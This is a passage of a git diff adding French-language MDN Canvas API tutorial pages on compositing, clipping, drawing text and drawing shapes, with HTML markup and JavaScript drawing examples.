+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");</pre>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html
new file mode 100644
index 0000000000..cc646762dd
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html
@@ -0,0 +1,110 @@
+---
+title: Composition et découpe
+slug: Web/API/Canvas_API/Tutoriel_canvas/Composition
+tags:
+  - Canvas
+  - Composition
+  - dessin
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</div>
+
+<div class="summary">
+<p>Dans tous nos <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations">exemples précédents</a>, les formes étaient toutes dessinées les unes au dessus des autres. C'est plus que suffisant pour la plupart des situations, mais cela limite l'ordre dans lequel les formes composées sont construites. Nous pouvons cependant changer ce comportement en définissant la propriété <code>globalCompositeOperation</code>. En complément, la propriété <code>clip</code> nous permet de cacher les parties des formes que nous ne désirons pas.</p>
+</div>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>Nous pouvons non seulement dessiner de nouvelles formes derrière des formes existantes mais nous pouvons aussi les utiliser pour masquer certaines zones, supprimer des sections du canvas (ce n'est pas limité aux rectangles comme pour la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}) et davantage.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt>
+ <dd>Cela configure le type d'opération de composition à appliquer lorsqu'on dessine de nouvelles formes, où le type correspond à une string qui fait référence à une des douze opérations de composition possibles.</dd>
+</dl>
+
+<p>Reportez-vous aux <a href="/fr/docs/Tutoriel_canvas/Composition/Example">exemples de compositon</a> pour le code des exemples suivants.</p>
+
+<p>{{EmbedLiveSample("Exemple_de_composition", 750, 6750, "" ,"/Tutoriel_canvas/Composition/Example")}}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">Détourage</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Un détourage (<em>clipping path</em> en anglais) est comme une forme de canvas standard, à la différence près qu'elle sert à masquer certaines parties du canvas. Voyez l'image de droite, la forme rouge (en étoile) est un détourage du canvas. Tout ce qui est en dehors du chemin n'est pas dessiné sur le canvas.</p>
+
+<p>Si nous comparons le détourage à la propriété <code>globalCompositeOperation</code> vue précédemment, nous voyons deux modes de composition qui ont plus ou moins les mémes effets qu'avec <code>source-in</code> et <code>source-atop</code>. La différence la plus significative entre les deux est que le détourage n'est jamais dessiné sur le canvas à proprement parler et il n'est jamais affecté par l'ajout de nouvelles formes. Ça le rend idéal pour dessiner plusieurs formes dans une zone restreinte.</p>
+
+<p>Dans le chapitre "<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">dessiner des formes avec le canevas</a>", nous n'avions mentionné que les méthodes <code>stroke()</code> et <code>fill()</code>, mais il y en a une troisième: <code>clip()</code> — elle permet de faire des détourages.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clip", "clip()")}}</dt>
+ <dd>Transforme le chemin en cours de création en détourage effectif.</dd>
+</dl>
+
+<p>Il faut utiliser <code>clip()</code> plutot que <code>closePath()</code> pour fermer un chemin et enfaire un détourage.</p>
+
+<p>Par défault, l'élément {{HTMLElement("canvas")}} possède un détourage aux mêmes dimensions que le canvas lui-même. Donc, par défaut aucune découpe n'est <span class="ht">apparente</span>.</p>
+
+<h3 id="A_clip_example" name="A_clip_example">Un exemple de <code>clip</code></h3>
+
+<p>Dans cet exemple, nous allons utiliser un détourage circulaire pour restreindre le dessin d'un essemble d'étoiles aléatoires à une zone particulière (et circulaire...).</p>
+
+<pre class="brush: js;highlight[9] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // draw stars
+  for (var j = 1; j &lt; 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i &lt; 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Dans les premières lignes de code, nous dessinons un rectangle noir ayant la même taille que le canvas comme toile de fond puis nous déplaçons l'origine au centre de l'image. Ensuite, nous créons le détourage circulaire en dessinant un arc (complet) et en faisant appelle à <code>clip()</code>. Les détourages font aussi partie de l'état de sauvegarde des canvas. Si on voulait garder le détourage d'origine, on pourrait par exemple sauvegarder l'état du canvas au préalable.</p>
+
+<p>Tout ce qui sera dessiné après la création du détourage n'apparaîtra qu'à l'intérieur de ce chemin. Vous pouvez voir ça clairement avec le dégradé linéaire qui est dessiné après. Ensuite, un ensemble de 50 étoiles aléatoires est dessiné, en utilisant la fonction <code>drawStar()</code>. Nous pouvons voir, une fois de plus, que les éléments (ici les étoiles) n'apparaissent qu'à l'intérieur du détourage.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html
new file mode 100644
index 0000000000..761b5baf3d
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html
@@ -0,0 +1,161 @@
+---
+title: Dessin de texte avec canvas
+slug: Web/API/Canvas_API/Tutoriel_canvas/Dessin_de_texte_avec_canvas
+tags:
+  - Canvas
+  - Graphismes
+  - HTML
+  - Tutoriels
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<p>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}</p>
+
+<p class="summary">Après avoir vu comment <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs">appliquer les styles et les couleurs</a> dans le chapitre précédent, nous allons maintenant voir comment dessiner du texte sur canvas.</p>
+
+<h2 id="Dessin_de_texte">Dessin de texte</h2>
+
+<p>  Le contexte de rendu du canevas fournit deux méthodes pour le rendu du texte :</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Remplit un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Trait d'un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.</dd>
+</dl>
+
+<h3 id="A_fillText_example" name="A_fillText_example">Un exemple fillText</h3>
+
+<p><span id="result_box" lang="fr"><span>Le texte est rempli en utilisant le <code>fillStyle</code> actuel.</span></span></p>
+
+<pre class="brush: js;highlight[4] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>font <span class="operator token">=</span> <span class="string token">'48px serif'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillText</span><span class="punctuation token">(</span><span class="string token">'Hello world'</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_fillText_example", 310, 110)}}</p>
+
+<h3 id="A_strokeText_example" name="A_strokeText_example">Un exemple de strokeText</h3>
+
+<p><span id="result_box" lang="fr"><span>Le texte est rempli en utilisant le </span></span> <code>strokeStyle</code><span lang="fr"><span> courant.</span></span></p>
+
+<pre class="brush: js;highlight[4] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>font <span class="operator token">=</span> <span class="string token">'48px serif'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">strokeText</span><span class="punctuation token">(</span><span class="string token">'Hello world'</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_strokeText_example", 310, 110)}}</p>
+
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Style de texte</h2>
+
+<p><span id="result_box" lang="fr"><span>Dans les exemples ci-dessus, nous utilisons déjà la propriété de police pour rendre le texte un peu plus grand que la taille par défaut.</span> <span>Il existe d'autres propriétés qui vous permettent d'ajuster la façon dont le texte est affiché sur le canevas :</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Le style de texte actuel utilisé lors du dessin du texte.</span> <span>Cette chaîne utilise la même syntaxe que la propriété CSS {{cssxref ("font")}}.</span> <span>La police par défaut est 10px sans-serif.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Paramètre d'alignement du texte.</span> <span>Valeurs possibles : </span></span> <code>start</code> <em>(</em><span lang="fr"><span><em>début)</em>, </span></span> <code>end</code> <em>(</em><span lang="fr"><span><em>fin)</em>, </span></span> <code>left</code> <em>(</em><span lang="fr"><span><em>gauche)</em>, </span></span> <code>right</code> <em>(</em><span lang="fr"><span><em>droite)</em> ou </span></span> <code>center</code> <em>(</em><span lang="fr"><span><em>centre)</em>.</span> <span>La valeur par défaut est <code>start</code>.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Paramètre d'alignement de base.</span> <span>Valeurs possibles : </span></span> <code>top</code> <em>(</em><span lang="fr"><span><em>haut)</em>, </span></span> <code>hanging</code> <em>(</em><span lang="fr"><span><em>suspendu)</em>, </span></span> <code>middle</code> <em>(</em><span lang="fr"><span><em>moyen)</em>, </span></span> <code>alphabetic</code> <em>(</em><span lang="fr"><span><em>alphabétique)</em>, </span></span> <code>ideographic</code> <em>(</em><span lang="fr"><span><em>idéographique)</em>, </span></span> <code>bottom</code> <em>(</em><span lang="fr"><span><em>en bas)</em>.</span> <span>La valeur par défaut est </span></span><code>alphabetic</code><span lang="fr"><span>.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Directionnalité.</span> <span>Valeurs possibles: </span></span> <code>ltr</code> <em>(de gauche à droite)</em><span lang="fr"><span>, </span></span> <code>rtl</code> <em>(de droite à gauche)</em><span lang="fr"><span>, <code>inherit</code> <em>(hérité)</em>.</span> <span>La valeur par défaut est <code>inherit</code>.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Ces propriétés peuvent vous être familières si vous avez déjà travaillé avec CSS.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Le diagramme suivant du </span></span> <a class="external external-icon" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a> <span lang="fr"><span> illustre les différentes lignes de base prises en charge par la propriété <code>textBaseline.</code></span></span></p>
+
+<p><img alt="The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square." src="http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png"></p>
+
+<h3 id="Un_exemple_de_textBaseline">Un exemple de textBaseline</h3>
+
+<p><span id="result_box" lang="fr"><span>Modifiez le code ci-dessous et visualisez vos mises à jour en direct dans le canevas :</span></span></p>
+
+<pre class="brush: js;highlight[2] line-numbers  language-js notranslate"><code class="language-js">ctx<span class="punctuation token">.</span>font <span class="operator token">=</span> <span class="string token">'48px serif'</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>textBaseline <span class="operator token">=</span> <span class="string token">'hanging'</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span><span class="function token">strokeText</span><span class="punctuation token">(</span><span class="string token">'Hello world'</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>400<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>200<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-canvas<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-buttons<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>edit<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Edit<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-code<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world", 0, 100);<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> canvas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> ctx <span class="operator token">=</span> canvas<span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> edit <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'edit'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">drawCanvas</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  ctx<span class="punctuation token">.</span><span class="function token">clearRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> canvas<span class="punctuation token">.</span>width<span class="punctuation token">,</span> canvas<span class="punctuation token">.</span>height<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">eval</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span>
+  <span class="function token">drawCanvas</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+edit<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> drawCanvas<span class="punctuation token">)</span><span class="punctuation token">;</span>
+window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> drawCanvas<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Mesures_de_texte_avancées"><span class="short_text" id="result_box" lang="fr"><span>Mesures de texte avancées</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Dans le cas où vous avez besoin d'obtenir plus de détails sur le texte, la méthode suivante vous permet de le mesurer.</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Retourne un objet </span></span> {{domxref("TextMetrics")}} <span lang="fr"><span> contenant la largeur en pixels, sur la base duquel le texte spécifié sera dessiné dans le style de texte actuel.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>L'extrait de code suivant montre comment vous pouvez mesurer un texte et obtenir sa largeur.</span></span></p>
+
+<pre class="brush: js;highlight[3] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> text <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">measureText</span><span class="punctuation token">(</span><span class="string token">'foo'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// objet TextMetrics</span>
+  text<span class="punctuation token">.</span>width<span class="punctuation token">;</span> <span class="comment token">// 16;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Notes_spécifiques_à_Gecko"><span class="short_text" id="result_box" lang="fr"><span>Notes spécifiques à Gecko</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Dans Gecko (le moteur de rendu de Firefox, Firefox OS et d'autres applications basées sur Mozilla), certaines API préfixées ont été implémentées dans des versions antérieures pour dessiner du texte sur un canevas.</span> <span>Ceux-ci sont maintenant déconseillés et supprimés, et leur fonctionnement n'est pas garanti.</span></span></p>
+
+<p>{{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/formes_géométriques/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/formes_géométriques/index.html
new file mode 100644
index 0000000000..233d1baeb2
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/formes_géométriques/index.html
@@ -0,0 +1,581 @@
+---
+title: Dessiner des formes avec le canevas
+slug: Web/API/Canvas_API/Tutoriel_canvas/Formes_géométriques
+tags:
+  - Canvas
+  - Graphisme
+  - Guide
+  - HTML
+  - HTML5
+  - Intermédiaire
+  - Tutoriel
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<p>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}</p>
+
+<p class="summary">Maintenant que nous avons défini notre <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Utilisation_de_base">environnement de canevas</a>, nous pouvons entrer dans les détails de la façon de dessiner sur le canevas. A la fin de cet article, vous aurez appris à tracer des rectangles, des triangles, des lignes, des arcs et des courbes, vous rendant ainsi familier avec certaines des formes de base. Le travail avec les trajets est essentiel lors du dessin d'objets sur le canevas, et nous verrons comment cela peut être fait.</p>
+
+<h2 id="La_grille">La grille</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Avant de pouvoir commencer à dessiner, il nous faut parler de la grille ou <strong>système de coordonnées</strong>. Notre schéma HTML de la page précédente avait un élément canevas large de 150 pixels et haut de 150 pixels. À droite, vous voyez ce canevas avec la grille par défaut superposée. Normalement, 1 unité dans la grille correspond à 1 pixel sur le canevas. L'origine de cette grille est positionnée dans le coin <em>supérieur gauche</em> de coordonnées (0, 0). Tous les éléments sont placés relativement à cette origine. Ainsi, le coin supérieur gauche du carré bleu est à <code>x</code> pixels à partir de la gauche et à <code>y</code> pixels à partir du haut, aux coordonnées (x, y). Plus loin dans ce tutoriel, nous verrons comment déplacer l'origine à une position différente, faire pivoter la grille ou même la mettre à l'échelle ; mais pour l'instant, nous nous en tiendrons aux valeurs par défaut.</p>
+
+<h2 id="Dessin_de_rectangles">Dessin de rectangles</h2>
+
+<p>Au contraire de <a href="/fr/docs/Web/SVG" rel="internal" title="en/SVG">SVG</a>, le {{HTMLElement("canvas")}} ne supporte qu'une seule forme primitive : le rectangle. Toute autre forme doit être créée en combinant un ou plusieurs trajets, c'est-à-dire des listes de points reliés par des lignes. Heureusement, nous avons un assortiment de fonctions de dessin de trajets, qui rendent possible la composition de formes très complexes.</p>
+
+<div id="section_3">
+<p>Commençons par le rectangle. Il y a trois fonctions qui dessinent des rectangles sur le canvas :</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, largeur, hauteur)")}}</dt>
+ <dd>Dessine un rectangle rempli.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, largeur, hauteur)")}}</dt>
+ <dd>Dessine un contour rectangulaire</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, largeur, hauteur)")}}</dt>
+ <dd>Efface la zone rectangulaire spécifiée, la rendant complètement transparente.</dd>
+</dl>
+
